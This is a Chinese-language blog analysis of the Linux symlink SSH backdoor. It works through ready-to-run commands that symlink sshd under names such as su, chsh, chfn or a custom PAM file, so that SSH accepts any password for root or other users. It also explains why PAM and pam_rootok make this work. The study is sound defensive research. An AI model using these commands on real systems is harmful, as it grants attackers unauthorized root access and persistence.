0x00 前言
学习了Sevck发表Linux软连接后门的《一条命令引发的思考》,还是存在几个疑惑点,仔细探究之后就有了这篇文章
0x01简单回顾
一、Linux经典软连接后门命令
1.在被控制端执行:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345建立sshd的软连接
2.本地客户端执行:
ssh [email protected] -p 12345接着输入任意密码就可以root用户权限登陆了
实际测试中发现,如果root用户被禁止登陆时此方式不能直接登陆,但是可以利用其他存在的用户身份登陆,如:
ssh [email protected] -p 12345接着输入任意密码就可以ubuntu用户权限登陆了
二、后门原理
在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0(root)即可成功认证登陆
0x02疑惑与探究
1.不建立链接直接启动/usr/sbin/sshd是否也能任意密码登陆
针对这个疑惑很容易验证,被控端执行命令1
/usr/sbin/sshd -oport=12345
客户端ssh root:任意密码@x.x.x.x 12345
登录失败
实践结果表明不能通过直接启动/usr/sbin/sshd,默认使用/etc/pam.d/sshd的pam配置文件,因而不能建立任意密码登录的后门
2.sshd是否允许PAM认证对后门是否有影响
修改/etc/ssh/sshd_config
修改设置UsePAM no
1
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345
客户端ssh root:任意密码@x.x.x.x 12345
登录失败
实践结果表明禁止sshd使用PAM认证后,ssh登陆不调用PAM,严格验证用户密码,所以不能建立任意密码登录后门。
3.软连接的路径及文件名是否有限制
首先验证修改路径对后门功能是否有影响,修改软连接路径为/home/su
被控端执行1
ln -sf /usr/sbin/sshd /home/su;/home/su -oport=12345
客户端ssh root:任意密码@x.x.x.x 12345仍然成功登陆
实践表明软连接的路径对后门的功能没有影响
其次修改软连接文件名对后门功能是否有影响,修改软连接为/tmp/pam_test
被控端执行1
ln -sf /usr/sbin/sshd /tmp/pam_test;/tmp/pam_test -oport=12345
客户端ssh root:任意密码@x.x.x.x 12345
认证失败
实践表明软连接的文件名会影响后门功能,而且在ssh开启pam认证的前提下,默认调用的pam配置文件按是软连接的文件名(pam_test)
4.此类ssh后门的核心是pam配置中的pam_rootok.so,是否只需包含这句话就可以实现后门功能,默认的配置文件中出来su,是否还有其他的可利用的配置文件
在被控端1
2
3echo "auth sufficient pam_rootok.so" >> /etc/pam.d/hacker
cat /etc/pam.d/hacker
ln -sf /usr/sbin/sshd /tmp/hacker;/tmp/hacker -oport=12345
客户端ssh root:任意密码@x.x.x.x 12345
认证成功
实践表明通过软连接文件名指定ssh的pam配置文件为hacker,只要文件中包含auth sufficient pam_rootok.so
即可无密码登陆
最后在etc/pam.d/
目录下查找包含pam_rootok.so
配置的文件1
find ./ |xargs grep "pam_rootok"
在笔者的测试环境下还有”chsh”、”chfn”包含pam_rootok.so
被控端执行:1
2ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oport=12346
ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oport=12347
客户端ssh root:任意密码@x.x.x.x 12346
仍然认证成功
客户端ssh root:任意密码@x.x.x.x 12347
仍然认证成功
0x03小结
- Linux软连接ssh后门需要ssh配置允许PAM认证才能使用
- 如果被控主机不允许root登陆可用其他已存在用户登陆
- 通过软连接的方式,实质上PAM认证是通过软连接的文件名(如:/tmp/su,/home/su)在
/etc/pam.d/
目录下寻找对应的PAM配置文件(如:/etc/pam.d/su) - 任意密码登陆的核心是
auth sufficient pam_rootok.so
,只要PAM配置文件中包含此配置即可SSH任意密码登陆,实践表明,可成功利用的PAM配置文件除了su还有chsh、chfn